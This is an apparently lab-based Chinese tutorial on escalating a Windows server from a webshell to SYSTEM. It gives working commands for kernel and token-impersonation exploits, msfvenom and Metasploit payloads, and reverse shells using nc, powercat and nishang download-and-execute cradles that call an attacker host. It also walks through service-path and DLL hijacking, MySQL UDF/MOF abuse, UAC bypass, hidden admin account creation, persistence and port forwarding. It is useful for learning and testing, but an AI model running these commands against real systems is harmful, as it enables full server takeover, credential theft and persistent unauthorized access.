windows提权


windows提权

windows基础知识

一些windows指令在15-1中具体写了

用户和组

在windows不用的用户有着不同的权限,权限主要包括有:完全控制、修改、读取和执行、列出文件夹内容、读取、写入。

超级管理员和system用户权限最高

内置用户:

  • Administrator,系统管理员账号,拥有完全控制权
  • guest,来宾账号,提供访问共享资源的网络用户使用,仅具有基本权限,默认被禁用

用户也可以属于多个用户组,常见的用户组是 管理组(Administrators)、普通用户组(Users)、iis用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)

内置用户组:

  • administrators,管理员组
  • users组,新建用户默认所属的组
  • guests组,权限最低
  • iis_users组 Internet 信息服务使用的内置组。

用户信息的详细解析:

whoami指令

whoami /?

输入whoami /?会出现以下信息

WhoAmI 有三种使用方法:

语法 1:
    WHOAMI [/UPN | /FQDN | /LOGONID]

语法 2:
    WHOAMI { [/USER] [/GROUPS] [/CLAIMS] [/PRIV] } [/FO format] [/NH]

语法 3:
    WHOAMI /ALL [/FO format] [/NH]

描述:
    这个工具可以用来获取本地系统上当前用户(访问令牌)的用户名和组信息,
    以及相应的安全标识符(SID)、声明、
    本地系统上当前用户的权限、登录标识符(登录 ID)
    。例如,谁是当前已登录的用户?
    用户名。

参数列表:
    /UPN                    用用户主体 (User Principal) 格式显示用户名
                            名称 (UPN)格式。

    /FQDN                   用完全合格的 (Fully Qualified) 格式显示用户名
                            可分辨名称(FQDN) 格式。

    /USER                   显示当前用户的信息以及安全标识符 (SID)。

    /GROUPS                 显示当前用户的组成员信息、帐户类型和安全
                            标识符 (SID) 和属性。

    /CLAIMS                 显示当前用户的声明,
                            包括声明名称、标志、类型和值。

    /PRIV                   显示当前用户的安全特权

                            。

    /LOGONID               显示当前用户的登录 ID。

    /ALL                    显示当前用户名、所属的组
                            以及安全等级
                            当前用户访问令牌的标识符(SID)、
                            声明和权限。

    /FO       format        指定要显示的输出格式。
                            有效值为 TABLE、LIST、CSV。
                            列标题未使用 CSV
                            格式显示。默认格式为 TABLE。

    /NH                     指定不应在输出中显示
                            列标题。此参数仅对
                            TABLE 和 CSV 格式有效。

    /?                     显示此帮助消息。

Examples:
    WHOAMI
    WHOAMI /UPN
    WHOAMI /FQDN
    WHOAMI /LOGONID
    WHOAMI /USER
    WHOAMI /USER /FO LIST
    WHOAMI /USER /FO CSV
    WHOAMI /GROUPS
    WHOAMI /GROUPS /FO CSV /NH
    WHOAMI /CLAIMS
    WHOAMI /CLAIMS /FO LIST
    WHOAMI /PRIV
    WHOAMI /PRIV /FO TABLE
    WHOAMI /USER /GROUPS
    WHOAMI /USER /GROUPS /CLAIMS /PRIV
    WHOAMI /ALL
    WHOAMI /ALL /FO LIST
    WHOAMI /ALL /FO CSV /NH
    WHOAMI /?

windows的sid详解

windows的安全性主要依赖于几个基本元素:访问令牌、SID、安全描述符、访问控制表、密码。

访问令牌:访问令牌在本质上定义了两 上“P”:Permissions(权限)和Privilege(特权)。两者区别并不明显。访问令牌的内容和功能由用户的SID、组的SID、登录 SID、用户特权、默认所有者、SID、默认组SID、默认DACL、起源进程、令牌类型、模拟级别、受限SID。

权限:一个用户进程在接触一个对象时,“安全性参考监视器”将访问令牌中的SID与“对象访问控制列表(ACL)”中的SID匹配。可能出现的两种情况:

  1. 如果没有匹配,就拒绝用户访问,这称为“隐式拒绝(implici deny)”;
  2. 如果有一个区配,就将与ACK中的条目关联的权限授予给用户。

这可能是Allow,也可能是一个Deny权限。在两个权限都直接指派给对象的前提下,Deny权限将优先于Allow权限(在对待继承的权限时,采取的方式稍有不同)

SID:一个典型的SID:S-1-5-21-1683771068-12213551888-624655398-1001。它遵循的模式是:S-R-IA-SA-SA-RID。下面是具体解释:

  1. 字母S指明这是一个SID标识符,它将数字标记为一个SID。

  2. R代表Revision(修订),Windows生成的所有SID都使用修订级别 1。

  3. IA代表颁发机构。在Widnwos中,几乎所有SID都指定NT机构作为颁发机构,它的ID编号为5.但是,代表已知组和账户的SID例外。

  4. SA代表一个子机构。SA指定特殊的组或职能。

例如、21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字(1683771068-12213551888-624655398)就是颁发SID的那个域或机器的SA。

  1. RID是指相对ID(RID)、是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)

安全标识符

漏洞提权

提权是指把普通用户的权限进行提升,通过是各种漏洞提升webshell权限以夺得服务器权限。

webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限。

webshell的默认权限

从图中可以看到webshell的权限是iis_users组

image-20220208115236511

提权常用方法

  • 漏洞提权
  • windwos特性提权
  • 第三方组件提权
  • 数据库提权
  • ftp提权

提权常用命令

systeminfo | findstr OS #获取系统版本信息 

systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True 

get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包

hostname #获取主机名称 

whoami /all #获取当前用户的详细信息 

whoami /priv #显示当前用户的安全特权 

net start #查看服务 

quser or query user #获取在线用户 

netstat -ano | findstr 3389 #获取rdp连接来源IP 

dir c:\programdata\ #分析安装杀软 

wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁 

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" 

"Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口 

tasklist /svc | find "TermService" #获取服务pid

netstat -ano |find "pid" #获取远程端口

windows提权辅助脚本

检测系统补丁脚本 https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

查看补丁 https://github.com/chroblert/WindowsVulnScan

windows 内核提权exp https://github.com/SecWiki/windows-kernel-exploits

在线提权利用查询 https://lolbas-project.github.io/

提权辅助网页 (hacking8.com)

windows提权流程

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

执行命令的时候 aspx->php和asp

如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令,这个时候可以使用aspx的后门查看是否有权限执行cmd命令

补丁查询

hacking8在线查询补丁

systeminfo > c:\1.txt

image-20220208121157795

wesng查询补丁

https://github.com/bitsadmin/wesng

python wes.py --update-wes #更新
pip3 install chardet #下载包 
python wes.py c:\sys.txt #检测补丁

image-20220208122410524

WindowsVulnScan 查询补丁

https://github.com/chroblert/WindowsVulnScan

原理:

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中

  2. 查找特定CVE网上是否有公开的EXP

  3. 利用powershell脚本收集主机的一些系统版本与KB信息

  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的

使用:

1.首先运行powershell脚本 KBCollect.ps 收集一些信息 运行后在目录下生成kb.json

.\KBCollect.ps1 
Set-ExecutionPolicy -Scope CurrentUser remotesigned

打开cmd,运行powershell,将工具中的KBCollect.ps1 拖入发现报错,我们找到方法bypass掉,用上面第二行的命令,之后再次运行KBCollect.ps1 就成功了,我们在当前用户下看到生成了json文件

image-20220208140211715

image-20220208140339958

2.将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录

3.打开kali,监听80端口,将修改后的脚本放到桌面,访问kali ip

image-20220208141256194

说明此脚本可以访问

4.在asp中执行命令,执行完成后会在目录生成文件

Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/KBCollect.ps1 ')

image-20220208142455949

看到生成了kb.json

image-20220208143536980

将此文件放入工具中

5.运行工具

python cve-check.py -C -f KB.json

image-20220208143920886

查询可写目录或文件

在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的目录进行写入和读取

这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录 上传或下载 提 权exp 或替换文件 进行利用。

常见的脚本有

  • wt.asp
  • net版本的wt.aspx

wt.asp,红色表示文件可替换 蓝色表示目录可写

image-20220208145408817

image-20220208145443162

wt.aspx,因为net的权限比 asp大,而且能访问注册表,所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描。

image-20220208145651832

windows常用提权

通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。

CVE-2016-3225(MS16-075)提权

描述

当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。

成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。

若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。

此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。

注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

影响版本

  • Windows Vista
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows 7
  • Windows 8.1
  • Windows RT 8.1
  • Windows 10

复现

利用文件

GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019

下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录

我们这里使用PrintSpoofer64.exe

查询后发现 C:\Windows\debug\WIA\ 目录是可执行的,上传文件到此目录下

image-20220213105556888

记录下文件路径 C:\Windows\debug\WIA\PrintSpoofer64.exe

执行完后,权限为系统权限

image-20220213111533168

如果不在此目录下,为iis组权限

image-20220213111555323

在cmdshell中提权,-h可查看使用帮助

image-20220213105647042

/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user xiaoshaK 123456 /add "
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net localgroup administrators xiaoshaK /add"
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user xiaoshaK"

image-20220213110232859

可以看到在管理员组里了

增加进管理员组后我们就可以连接他的3389

/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "netstat -ano"

image-20220213110428517

可以看到3389是开放的,可以使用mstsc连接创建的用户

CVE-2014-4113 (MS14-058)提权

描述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。

如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响版本

影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

复现

上传编译好的exp到webshell提权

可以看到cmd可执行

如果此命令不可执行可以在可执行目录下上传cmd

image-20220213112241194

如果上传出错显示 缺少对象,那是因为服务器上传的文件大小超出了,此时我们选在webshell后门下的远程下载功能,下载远程cmd到本地可执行目录

上传编译好的exp,执行即可获取系统权限

C:\Windows\debug\WIA\

image-20220213112700644

image-20220213112920409

C:\Windows\debug\WIA\win64.exe "whoami"

image-20220213113006345

创建管理员用户同上操作

CVE-2020-0787 提权

描述

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。

要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

影响版本

  • Windows RT 8.1
  • Windows 7
  • Windows 10
  • Windows 10 Version 1607
  • Windows 10 Version 1709
  • Windows 10 Version 1803
  • Windows 10 Version 1809
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Server 2019
  • Windows Server, version 1903
  • Windows Server, version 1909

复现

此提权不能使用webshell提权,需要登录到系统

net user xiaoshaK 123456 /add

image-20220213120809168

建立普通用户,切换用户

查看权限

image-20220213120936761

下载Releases · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub提权exp,上传到系统

image-20220213121055148

c:\windows\debug\WIA\BitsArbitraryFileMoveExploit.exe

执行,之后弹出cmd,再次查看权限

image-20220213121307122

看到是系统权限了

使用meta split提权

描述

kali自带开源漏洞检测工具,msfconsole开启工具

msf命令

ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块

复现

1.在kali上生成反向连接的后门。ip为kali的ip

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f exe >s.exe

image-20220215110344460

在桌面上生成s.exe

2.将生成的反向连接后门上传到靶机的可执行文件夹下。

C:\ProgramData\s.exe

image-20220215110045301

3.开启msf,使用监听模块监听ip端口。

ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0,允许任何主机连接入来,但是存在风险。

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
show options
set lhost 192.168.0.195 
set lport 12345 
exploit

image-20220215110619540

image-20220215113131032

4.在webshell执行exe。执行后会获取一个session

image-20220215113140445

image-20220215113157072

执行后得到了meterpreter

help可查看帮助文档

getuid查看权限,发现权限较低

image-20220215113429296

查询补丁

run post/windows/gather/enum_patches

image-20220215115537504

background
将session1放到后台
sessions 1
即可再次进入

5.进行提权

可用常规的exp测试,看能否成功提权

常见的提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码 
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051) 
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

或者列出可用的exp模块

use post/multi/recon/local_exploit_suggester 
set session 1 
exploit

image-20220215121254696

我们这里使用exploit/windows/local/ms16_075_reflection_juicy模块

查看参数

image-20220215121527483

这里设置session 为1 运行即可

image-20220215121640194

运行后查看权限发现是一个系统权限了

6.权限维持

ps查看进程

migrate迁移

image-20220215122106822

交互shell和非交互shell

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。

这种模式被称作交互式是因为shell与用户进行交互。

这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。

需要进行信息交互,例如输入某个信息,会返回信息,你需要对其输入内容,输入会执行命令。

cmd 终端、msf反弹后门shell、nc反弹shell,这些都属于交互shell

非交互shell

非交互式shell以shell script(非交互)方式执行。

在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。

image-20220215144716590

反弹shell提权

反弹shell提权是使用工具或者脚本,从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透防火墙。

防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以逃逸很多的防火墙。

另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限制,可以从受害者的服务器上下载,更多的资料。

nc反弹shell

在kali监听666

nc -lvnp 666

上传nc.exe到靶机可执行文件夹下

image-20220215145644483

主动连接,在kali上即可得到一个交互式shell

/c C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.80.134 666

image-20220215145709304

image-20220215145725913

powershell反弹cmd

这里使用powercat,是netcat的powershell版本

kali上把powecat解压

监听

nc -lvnp 777

/*目标执行

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorh ino/powercat/master/powercat.ps1'); powercat -c 192.168.80.134 -p 777 -e cmd 

github得搭梯子访问,这里我们也可以在kali上搭一个web服务器,让他从服务器上下载也行

*/

在kali上的powercat文件夹处开放一个web服务器

sudo python -m SimpleHTTPServer 80

在webshell执行命令

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.80.134/powercat.ps1'); powercat -c 192.168.80.134 -p 777 -e cmd

执行后即可得到一个交互式shell

image-20220215152911909

nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

开启监听

nc -lvnp 888

目标执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke- PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.134 -port 888 

或者在服务器搭建下载

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.134 -port 888

执行后得到交互shell

image-20220215155742961

Reverse UDP shell

开启监听

nc -lvup 999

目标执行

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.80.134 -port 999

执行后得到交互式shell

python反弹cmd shell

使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可

如果遇到杀软或目标机不支持python,可使用生成的exe版本。

kali监听999端口

将脚本放到靶机下,用python执行

image-20220216112513542

得到了交互式shell

image-20220216112544024

所以此方法可行

接下来我们尝试在webshell上传exe执行弹shell

上传到可执行文件夹下

C:\ProgramData\

执行此命令将py文件生成为exe

pyinstaller -Fw pycat.py

image-20220216113232870

但是在asp、aspx上传时由于exe太大无法上传

image-20220216112809716

image-20220216112859775

我们将exe放到kali上,让asp下载进去

image-20220216113838852

image-20220216113853296

目标执行

C:\ProgramData\pycat.exe --host 192.168.80.134 --port 999

得到了交互式shell

image-20220216114009541

windows系统配置错误提权

系统服务权限配置错误

描述

Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

复现

PrivescCheck加载脚本并执行,列出可能存在问题的所有服务

将脚本放在kali,在文件夹内启动http服务

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/PrivescCheck.ps1'); Invoke-PrivescCheck"

看到列出了一些服务

image-20220228124821076

其中我们发现

image-20220228124951355

NT AUTHORITY\Authenticated Users 普通用户也能设置文件

所以我们可以对UsoSvc服务进行修改

我们将msf的反向连接后门放入

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=666 -f exe >666.exe

image-20220228125412204

C:\ProgramData\666.exe

image-20220228125518637

sc query UsoSvc
sc stop UsoSvc 
sc config usosvc binPath= "C:\ProgramData\666.exe" 注意=号后有空格
sc start UsoSvc

首先查询此服务为running状态,stop后停止。

此时修改服务路径为刚才的后门路径

打开msf监听

set payload windows/meterpreter/reverse_tcp

image-20220228130418188

之后在启动修改后的服务,即可得到session

image-20220301113514316

权限也为系统权限

但是session会自动退出我们需要坐下进程迁移

show advanced 显示高级权限
set AutoRunScript migrate -f 自动迁移进程
run

run后在启动服务,会自动迁移进程,就会稳定得多

或者

也可使用Metasploit中的攻击模块 exploit/windows/local/service_permissions

开启监听监听模块

我们运行刚才的后门,返回一个session

getuid发现权限比较低,是iis权限

image-20220301114037670

我们运行此攻击模块,set session为此session号,run即可

运行后他会自动替换并执行

image-20220301114433661

看到拿到了另一个session

getuid后权限为系统权限

不带引号的服务路径提权

描述

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

如下

没有双引号时候windows会把空格前面当作exe执行

image-20220228150745069

复现

我们使用PrivescCheck此脚本会遍历出带有空格的文件

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/PrivescCheck.ps1'); Invoke-PrivescCheck"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

image-20220228152445912

看见存在空格且路径是可写的,可能就存在空格

如果C盘可写上传反弹后门到C:\Program.exe即可

系统在重启 获取管理员重启该服务的时候就会获取系统权限

set AutoRunScript migrate -f

同时设置自动迁移进程,防止断开

注册键AlwaysInstallElevated

描述

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。

windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。

windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能

复现

运行gpedit.msc,如下操作

image-20220301123150381

使用PowerUp检测注册表是否有设置,如果返回true证明可以利用

PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.80.134/PowerUp.ps1'); Get-RegAlwaysInstallElevated

但是iis_user用户权限较低,返回false

image-20220301123615054

以use用户权限运行返回true

image-20220301123729695

上传 COMahawk64.exe并执行可返回一个账号密码

C:\ProgramData\COMahawk64.exe

image-20220301123942601

可以看到账号在管理员组里面

image-20220301124023071

本地dll劫持提权

原理

Windows程序启动的时候需要DLL。如果DLL 不存在,可以通过在应用程序要查找的位置放置恶意DLL来提权。

通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

  1. 应用程序加载的目录
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录Current Working Directory,CWD
  6. 在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载。

复现

程序运行一般会加载系统dll或本身程序自带的dll,我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

收集进程加载的dll->制作dll木马并上传->替换dll->启动应用后成功

收集进程加载的dll

使用火绒剑分析进程执行时加载了那些dll

image-20220301133415247

一般情况系统文件系统文件无法更改,我们目标在位置文件或数字签名文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f dll > libcurl_x86.dll

将生成的dll替换原本路径下的dll

image-20220301133502324

打开msf监听,注意设置payload

image-20220301133210801

自动安装配置文件提权

描述

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。

复现

我们可搜索Unattend.xml文件

dir /b /s c:\Unattend.xml

image-20220301134351947

或者使用msf 的post/windows/gather/enum_unattend模块对配置文件扫描

image-20220301134615760

第三方组件提权

做提权时,如果发现webshell的cmd无法执行命令,并且没有任何可上传目录,我们可以看看目标有无一些第三方服务

利用portscan

image-20220301150539426

sqlserver提权

描述

如果网站里面使用的数据库是sqlserver,那么如果找到sa的密码,利用提权脚本,执行命令。

但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置,一般情况是system权限或者pulic,均能执行命令

敏感文件

web.config 
config.asp 
conn.aspx 
database.aspx

复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接

image-20220301150845580

开启cmd

image-20220301151358307

开启之后,看是否可以执行命令

image-20220301151512693

查看权限,可以看到权限比较低,是一个数据库权限

image-20220301151607813

数据库权限的话,增加账号应该是不够的

可以上传溢出工具来提高权限

mysql提权

描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数。

对于自定义的函数,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为dll,c语言编写。

mysql提权难点

  1. 版本有32 和64位的mysql。创建函数的方法一样,但是64版本的要用64的udf.dll

  2. The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

    这种是mysql默认设置是不允许导入导出,需要在my.ini添加

    secure-file-priv = 

    保存重启mysql即可

    可以用以下命令查看此配置信息

    SELECT @@global.secure_file_priv
  3. Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll

    这种是没有权限导出或者plugin目录不存在,需要手动创建。

    使用此语句可查询插件目录是否存在

    show variables like "%plugin%"

复现

在网站上寻找mysql服务的账号密码

然后上传提权脚本到网站目录

image-20220301160242522

image-20220301160502097

登陆后导出udf

image-20220301160515708

导出成功后创建udf函数

image-20220301174218028

之后可以执行一些命令

image-20220301174314462

超级管理员

image-20220301174708939

image-20220301174804024

mof提权

mof多用于权限维持

原理

mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。

作用是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

条件:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

复现

把mof.php上传到网站目录,填写命令执行

image-20220302123836661

net.exe user xiaosha$ 123456 /add && net localgroup administrators xiaosha /add

image-20220302124131278

靶机看确实加到管理员组了

image-20220302124151211

G6FTP 提权

描述

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,无法从外部直接访问,所以需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6ftp端口

image-20220302133656605

复现

可在webshell访问此目录,remote.ini存放ftp管理员的账号和密码

C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

image-20220302134622585

看出是md5格式

需要使用端口转发工具将8021转发出来,将icx.exe上传并执行如下

lcx.exe -tran 2333 127.0.0.1 8021

image-20220302134806365

image-20220302134844559

可在靶机上查看是否被转发,看到2333外部可访问

image-20220302135019392

安装g6ftp可连接服务端进行设置

image-20220302135246199

可在域中新建用户,并增加命令,全选权限

net user xiaosha 123456 /add && net localgroup administrators xiaosha /add

image-20220302140052194

新建之后可以ftp访问

image-20220302140106489

登录进来后,我们可以尝试执行刚才设置的命令

quote stie ADD

没有执行成功,这里提权没出来,因为版本是08server

image-20220302140640408

这里我们使用另一个思路,windows的系统配置错误,上传Program.exe,系统重启自动启用

ftp连接成功,登录建立的用户可访问到c盘

image-20220302141615220

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f exe > 1.exe 

改名Program.exe,上传,监听,重启

可上传到启动项

image-20220302142946617

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

重启后

image-20220302143157724

bypass uac

描述

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

比如

image-20220302145327415

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,因此叫BypassUAC(不进行弹窗直接运行执行文件)

复现

把msf生成的反向链接exe放到win10,监听,执行

image-20220302145653608

可以看到在进行getsystem时出错了,这是uac起了作用

可以通过search uac 搜索出uac模块

image-20220302145930966

如果失败可尝试多个模块

使用bypassuac_injection模块进行bypass

exploit/windows/local/bypassuac_injection

此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()

成功bypass掉uac,但是这里hashdump仍然失败,看了下应该是x86的问题

image-20220302150402520

这里需要迁移进程到x64

ps列出进程 migrate 迁移

image-20220302151516439

成功 hashdump

lcx端口转发

描述

lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。

lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。

本地转发

本地转发主要是把127.0.0.1:端口 这个本地端口 转发到外部 让外部的客户端允许连接进来

我们在G6FTP使用过此方法,把本地8021转发到2333端口

image-20220302155334172

远程转发

远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。

客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。

image-20220302182525073

让不同端口之间形成一个回路,51->2333->3389

客户端监听

lcx -listen 51 2333

image-20220302182757993

服务端执行转发

/c C:\inetpub\wwwroot\lcx.exe -slave 192.168.80.138 2333 127.0.0.1 3389

image-20220302182817164

客户端然后用mstsc连接

image-20220302190126452

远程终端问题

远程终端的默认端口是3389,云vps一般会开启,没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。

端口是否开启,服务是否开启,防火墙是否开启,ipsec是否开启. . .等,都影响远程终端连接。

注册表开启远程终端命令

2008 2012 2016 开启3389

1.bat

echo DO ALL IN CMD! 

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f 

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f 

执行后开启3389

MSF命令开启3389

需要管理员权限

run getgui -e

一条命令开启3389

